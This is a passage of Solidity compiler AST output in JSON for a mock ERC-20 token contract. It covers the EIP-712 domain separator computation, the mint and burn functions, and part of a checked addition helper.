":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"4254:96:20"},"returnParameters":{"id":32622,"nodeType":"ParameterList","parameters":[],"src":"4386:0:20"},"scope":32893,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":32707,"nodeType":"FunctionDefinition","src":"5427:178:20","nodes":[],"body":{"id":32706,"nodeType":"Block","src":"5493:112:20","nodes":[],"statements":[{"expression":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":32697,"name":"_pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32892,"src":"5510:12:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":32698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5510:14:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":32699,"name":"INITIAL_CHAIN_ID","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32409,"src":"5528:16:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5510:34:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":32702,"name":"computeDomainSeparator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32737,"src":"5574:22:20","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bytes32_$","typeString":"function () view returns (bytes32)"}},"id":32703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5574:24:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":32704,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"5510:88:20","trueExpression":{"id":32701,"name":"INITIAL_DOMAIN_SEPARATOR","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32411,"src":"5547:24:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":32696,"id":32705,"nodeType":"Return","src":"5503:95:20"}]},"functionSelector":"3644e515","implemented":true,"kind":"function","modifiers":[],"name":"DOMAIN_SEPARATOR","nameLocation":"5436:16:20","parameters":{"id":32693,"nodeType":"ParameterList","parameters":[],"src":"5452:2:20"},"returnParameters":{"id":32696,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32695,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32707,"src":"5484:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32694,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5484:7:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"5483:9:20"},"scope":32893,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":32737,"nodeType":"FunctionDefinition","src":"5611:404:20","nodes":[],"body":{"id":32736,"nodeType":"Block","src":"5685:330:20","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429","id":32716,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5763:84:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f","typeString":"literal_string \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\""},"value":"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f","typeString":"literal_string \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\""}],"id":32715,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"5753:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32717,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5753:95:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"arguments":[{"id":32721,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32325,"src":"5882:5:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}],"id":32720,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5876:5:20","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":32719,"name":"bytes","nodeType":"ElementaryTypeName","src":"5876:5:20","typeDescriptions":{}}},"id":32722,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5876:12:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes storage pointer"}],"id":32718,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"5866:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32723,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5866:23:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"hexValue":"31","id":32725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5917:3:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_c89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6","typeString":"literal_string \"1\""},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6","typeString":"literal_string \"1\""}],"id":32724,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"5907:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32726,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5907:14:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[],"expression":{"argumentTypes":[],"id":32727,"name":"_pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32892,"src":"5939:12:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":32728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5939:14:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"arguments":[{"id":32731,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"5979:4:20","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}],"id":32730,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5971:7:20","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32729,"name":"address","nodeType":"ElementaryTypeName","src":"5971:7:20","typeDescriptions":{}}},"id":32732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5971:13:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":32713,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5725:3:20","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":32714,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5729:6:20","memberName":"encode","nodeType":"MemberAccess","src":"5725:10:20","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":32733,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5725:273:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":32712,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"5702:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32734,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5702:306:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":32711,"id":32735,"nodeType":"Return","src":"5695:313:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"computeDomainSeparator","nameLocation":"5620:22:20","parameters":{"id":32708,"nodeType":"ParameterList","parameters":[],"src":"5642:2:20"},"returnParameters":{"id":32711,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32710,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32737,"src":"5676:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5676:7:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"5675:9:20"},"scope":32893,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":32772,"nodeType":"FunctionDefinition","src":"6209:221:20","nodes":[],"body":{"id":32771,"nodeType":"Block","src":"6269:161:20","nodes":[],"statements":[{"expression":{"id":32749,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32744,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32358,"src":"6279:12:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":32746,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32358,"src":"6299:12:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32747,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32741,"src":"6313:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32745,"name":"_add","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32832,"src":"6294:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32748,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6294:26:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6279:41:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32750,"nodeType":"ExpressionStatement","src":"6279:41:20"},{"expression":{"id":32760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":32751,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"6330:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32753,"indexExpression":{"id":32752,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32739,"src":"6341:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6330:14:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":32755,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"6352:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32757,"indexExpression":{"id":32756,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32739,"src":"6363:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6352:14:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32758,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32741,"src":"6368:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32754,"name":"_add","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32832,"src":"6347:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32759,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6347:28:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6330:45:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32761,"nodeType":"ExpressionStatement","src":"6330:45:20"},{"eventCall":{"arguments":[{"arguments":[{"hexValue":"30","id":32765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6408:1:20","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32764,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6400:7:20","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32763,"name":"address","nodeType":"ElementaryTypeName","src":"6400:7:20","typeDescriptions":{}}},"id":32766,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6400:10:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32767,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32739,"src":"6412:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32768,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32741,"src":"6416:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32762,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31885,"src":"6391:8:20","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":32769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6391:32:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32770,"nodeType":"EmitStatement","src":"6386:37:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_mint","nameLocation":"6218:5:20","parameters":{"id":32742,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32739,"mutability":"mutable","name":"to","nameLocation":"6232:2:20","nodeType":"VariableDeclaration","scope":32772,"src":"6224:10:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32738,"name":"address","nodeType":"ElementaryTypeName","src":"6224:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32741,"mutability":"mutable","name":"amount","nameLocation":"6244:6:20","nodeType":"VariableDeclaration","scope":32772,"src":"6236:14:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32740,"name":"uint256","nodeType":"ElementaryTypeName","src":"6236:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6223:28:20"},"returnParameters":{"id":32743,"nodeType":"ParameterList","parameters":[],"src":"6269:0:20"},"scope":32893,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":32807,"nodeType":"FunctionDefinition","src":"6436:229:20","nodes":[],"body":{"id":32806,"nodeType":"Block","src":"6498:167:20","nodes":[],"statements":[{"expression":{"id":32788,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":32779,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"6508:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32781,"indexExpression":{"id":32780,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32774,"src":"6519:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6508:16:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":32783,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"6532:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32785,"indexExpression":{"id":32784,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32774,"src":"6543:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6532:16:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32786,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32776,"src":"6550:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32782,"name":"_sub","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32853,"src":"6527:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32787,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6527:30:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6508:49:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32789,"nodeType":"ExpressionStatement","src":"6508:49:20"},{"expression":{"id":32795,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32790,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32358,"src":"6567:12:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":32792,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32358,"src":"6587:12:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32793,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32776,"src":"6601:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32791,"name":"_sub","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32853,"src":"6582:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6582:26:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6567:41:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32796,"nodeType":"ExpressionStatement","src":"6567:41:20"},{"eventCall":{"arguments":[{"id":32798,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32774,"src":"6633:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":32801,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6647:1:20","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32800,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6639:7:20","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32799,"name":"address","nodeType":"ElementaryTypeName","src":"6639:7:20","typeDescriptions":{}}},"id":32802,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6639:10:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32803,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32776,"src":"6651:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32797,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31885,"src":"6624:8:20","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":32804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6624:34:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32805,"nodeType":"EmitStatement","src":"6619:39:20"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_burn","nameLocation":"6445:5:20","parameters":{"id":32777,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32774,"mutability":"mutable","name":"from","nameLocation":"6459:4:20","nodeType":"VariableDeclaration","scope":32807,"src":"6451:12:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32773,"name":"address","nodeType":"ElementaryTypeName","src":"6451:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32776,"mutability":"mutable","name":"amount","nameLocation":"6473:6:20","nodeType":"VariableDeclaration","scope":32807,"src":"6465:14:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32775,"name":"uint256","nodeType":"ElementaryTypeName","src":"6465:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6450:30:20"},"returnParameters":{"id":32778,"nodeType":"ParameterList","parameters":[],"src":"6498:0:20"},"scope":32893,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":32832,"nodeType":"FunctionDefinition","src":"6859:173:20","nodes":[],"body":{"id":32831,"nodeType":"Block","src":"6927:105:20","nodes":[],"statements":[{"assignments":[32817],"declarations":[{"constant":false,"id":32817,"mutability":"mutable","name":"c","nameLocation":"6945:1:20","nodeType":"VariableDeclaration","scope":32831,"src":"6937:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32816,"name":"uint256","nodeType":"ElementaryTypeName","src":"6937:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":32821,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32820,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32818,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32809,"src":"6949:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":32819,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32811,"src":"6953:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6949:5:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"6937:17:20"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32825,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32823,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32817,"src":"6972:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":32824,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32809,"src":"6977:1:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6972:6:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a206164646974696f6e206f766572666c6f77","id":32826,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6980:26:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_74f676cd2e283c0e66b6d0717943544332197bd372b775cf0e7a53907f5c5d11","typeString":"literal_string \"ERC20: addition overflow\""},"value":"ERC20: addition 